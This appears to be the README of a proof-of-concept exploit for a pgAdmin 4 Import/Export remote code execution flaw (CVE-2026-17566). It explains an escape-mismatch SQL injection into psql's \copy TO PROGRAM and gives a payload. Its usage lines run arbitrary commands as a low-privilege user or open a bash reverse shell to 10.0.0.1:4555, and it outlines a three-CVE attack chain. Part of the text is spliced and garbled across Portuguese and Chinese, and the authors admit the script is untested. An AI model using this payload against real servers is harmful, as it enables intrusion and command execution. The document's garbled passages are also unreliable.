
pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC - Injeção TO PROGRAM via incompatibilidade de escape com barra invertida
PoC de execução remota de código na ferramenta Import/Export Data do pgAdmin 4. Explora a divergência de semântica de escape de barra invertida entre o verificador de parênteses _is_query_parens_balanced() e o psql para injetar \copy ... TO PROGRAM e executar comandos arbitrários no servidor que executa o pgAdmin.
Cadeia de ataque de contexto: CVE-2026-17349 (vazamento de credenciais do Workspaces) → CVE-2026-17351 (bypass de somente leitura do AI Assistant) → esta vulnerabilidade (RCE). Todas as três exigem apenas um usuário autenticado de baixo privilégio.
A ferramenta Import/Export Data insere o SQL do usuário em um template Jinja para construir o comando psql \copy (...). O verificador de equilíbrio de parênteses escrito à mão sempre trata \' como aspas escapadas (correto apenas quando standard_conforming_strings=off); porém, com o padrão do PostgreSQL standard_conforming_strings=on, o psql trata a barra invertida como caractere comum, e as aspas são fechadas diretamente.
-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'
O verificador considera que ) ainda está dentro da string → o equilíbrio de parênteses passa; o psql fecha a string em a\', ) encerra o invólucro \copy (...), e TO PROGRAM 'cmd' se torna uma instrução viva, executada pelo popen() do psql.
_is_query_parens_balanced()); commit de correção 1496fabeTO PROGRAM no psql, mesma família)tools_import_export_data)export PGADMIN_PASSWORD='账户密码'
# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --command 'id > /tmp/pgadmin_rce_proof'
# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --reverse 10.0.0.1:4555
| Parâmetro | Descrição |
|---|---|
--url | URL base do pgAdmin |
--user / --password (ou PGADMIN_PASSWORD) | Conta de baixo privilégio |
--command | Comando arbitrário (não pode conter aspas simples) |
--reverse HOST:PORT | Gera reverse shell em bash |
--server-id | ID do servidor (padrão: usa o primeiro automaticamente) |
--file | Nome do arquivo de exportação (usado para montar o comando \copy, padrão /tmp/pgadmin_export.csv) |
--no-verify | Ignora a verificação de certificado TLS |
Fluxo: login (CSRF/session tratados automaticamente) → enumeração de servidores → POST /import_export/job/<sid> envia a requisição is_query_export construída.
Apenas para pesquisa de segurança, validação de vulnerabilidades e testes defensivos. Este script foi escrito com base em análises técnicas públicas e não foi validado em ambiente real; os campos das requisições podem precisar de ajustes conforme a versão do pgAdmin alvo. Execute apenas em ambientes de teste autorizados e não utilize contra sistemas sem autorização.